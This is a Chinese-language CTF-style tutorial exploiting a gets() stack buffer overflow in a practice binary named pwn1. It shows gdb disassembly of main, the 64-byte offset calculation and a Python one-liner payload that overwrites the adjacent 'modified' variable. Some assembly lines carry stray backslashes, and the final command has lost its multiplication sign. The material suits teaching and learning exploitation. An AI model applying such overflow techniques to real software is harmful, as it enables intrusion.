我们看这里使用gets函数读取输入数据时,并不会对buffer缓冲区的长度进行检查,输入超长的输入数据时会引发缓冲区溢出。
漏洞找到了,我们来看利用过程执行gdb pwn1即可开始通过gdb对pwn1进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:

下面是对main函数中的汇编代码的解释:
0x080482a0 +0>: push %ebp
0x080482a1 +1>: mov %esp,%\ebp
0x080482a3 +3>: and $0xfffffff0,%\esp
; esp = esp - 0x60,即在栈上分配0x60)字节的空间
0x080482a6 +6>: sub $0x60,%\esp
; modified变量位于esp + 0x5C处,将其初始化为0
0x080482a9 +9>: movl $0x0,0x5c(%\esp)
; buffer位于esp + 0x1C处
0x080482b1 +17>: lea 0x1c(%\esp),%eax
0x080482b5 +21>: mov %eax,(%\esp)
; 调用gets(buffer)读取输入数据
0x080482b8 +24>: call 0x8049360 gets>
; 判断modified变量的值是否是0
0x080482bd +29>: cmpl $0x0,0x5c(%\esp)
; 如果modified的值等于0,就跳转到 0x080482d2
0x080482c2 +34>: je 0x80482d2 main+50>
; modified不为0,打印成功提示
0x080482c4 +36>: movl $0x80b3eec,(%\esp)
0x080482cb +43>: call 0x8049500 puts>
0x080482d0 +48>: jmp 0x80482de main+62>
; modified为0,打印失败提示
0x080482d2 +50>: movl $0x80b3f0b,(%\esp)
0x080482d9 +57>: call 0x8049500 puts>
0x080482de +62>: mov $0x0,%\eax
0x080482e3 +67>: leave
0x080482e4 +68>: ret
``
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x1C处,而modified位于esp+0x5C处,两个地址的距离为0x5C - 0x1C = 0x40,即64,刚好为buffer数组的大小。因此当我们输入的数据超过64字节时,modified变量就可以被覆盖。
下面在gdb中进行验证,在gdb中执行b 0x080482bd命令对gets的下一条指令下一个断点:

在gdb中执行r命令,让被调试的pwn1程序跑起来,就可以输入数据进行测试了,这里我们输入64个A以及1个B(即AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB),按下Enter键程序就在断点处断下了:

在gdb中输入x $esp+0x5C,查看modified变量的值已经被修改成了0x00000042,而0x42就是字符’B’的ASCII值,表明我们成功用输入数据的第65个字节覆盖了modified变量:

在gdb中连续两次执行ni命令,可以看到je指令没有跳转,说明modified的值不为0,程序进入输出通过信息的if语句分支:

在gdb中输入c命令就可以让程序继续执行,看到输出了通过提示信息:

通过上面的步骤我们已经知道了如果控制输入数据来进行攻击,以达到进入if语句分支的目的。下面我们就可以通过构造输入数据进行攻击了。
如果你还没有退出gdb,输入q命令就可以退出gdb。下面通过python语句构造输入数据,然后通过管道传给pwn1程序,执行命令python -c "print 'A'64+'B'" | ./pwn1

看到已经成功发起了溢出攻击,程序被你PWN掉啦!